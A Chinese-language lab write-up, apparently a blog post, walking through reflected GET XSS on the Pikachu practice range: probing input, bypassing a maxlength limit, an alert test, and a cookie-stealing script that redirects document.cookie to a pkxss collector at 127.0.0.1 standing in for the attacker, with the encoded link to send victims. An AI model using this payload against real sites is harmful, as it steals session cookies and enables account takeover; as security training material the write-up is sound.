Pikachu靶场:反射型XSS(get)

Pikachu靶场:反射型XSS(get)

实验环境以及工具

Firefox浏览器、Burp Suite、Pikachu靶场

实验原理

●反射型
交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行从而产生危害。

跨站脚本漏洞测试流程

1.在目标站点上找到输入点,比如查询接口,留言板等;

2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;

3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);

4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

具体操作

1.在目标站点上找到输入点,比如查询接口,留言板等;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mTDKlvk5-1617780345450)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406155050194.png)]

2.输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的处理;

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iy5Do56c-1617780345452)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406155339857.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7W4bAeIb-1617780345453)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406155941934.png)]

3.通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合);

打开页面源代码按Ctrl+f查找123

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6HNEJwQE-1617780345455)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406155552684.png)]

可见我们输入的字符串直接嵌入到了p标签中,已知我们是可以在p标签里写js代码的,所以我们可以尝试写入一段特制的js代码。

4.提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XSS漏洞;

在输入代码的时候,发现输入到20字符就输入不进去了,我们可以进入开发者模式,使用选择器找到输入框相应代码,将maxlength修改为更大值例如200。写入一个弹窗的代码,弹窗内容为Hello。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KLnfEanG-1617780345457)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406160248547.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Rir4rPTc-1617780345460)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406160507845.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-H4TZOky4-1617780345461)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406160810130.png)]

发现浏览器将输入的内容放进了链接里,如果直接访问这个链接,也会弹窗。

漏洞利用

将本地XSS后台相关代码配置好,Pikachu的后台位于\pkxss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wu0aEMhh-1617780345461)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406163801256.png)]

如果输入的JS代码为下面这段,其中127.0.0.1是本地地址,这里用本地换回地址模拟攻击者的IP地址。

<script>document.location = 'http://127.0.0.1/Pikachu//pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

在点击submit后形成的URL为这一段

http://127.0.0.1/Pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location+%3D+%27http%3A%2F%2F127.0.0.1%2FPikachu%2F%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit

如果将其直接发送给别人在别人点击后会进入反射型XSS页面,瞬间重定向到设置的Pikachu首页。

这时登录XSS后台点击cookie收集就可以看到收集的cookie

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-loy0hCO3-1617780345462)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406163146478.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3nytnVmd-1617780345462)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406163133933.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tZjNHjsU-1617780345462)(C:\Users\freedom\AppData\Roaming\Typora\typora-user-images\image-20210406164949113.png)]

总结

XSS是利用网站的输入接口进行攻击。在前期通过各种特殊字符进行试探后,若是符合攻击的条件,就进行js恶意代码的编写,注入到输入接口之后,获取URL将其发送给受害者,即可进行攻击。

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值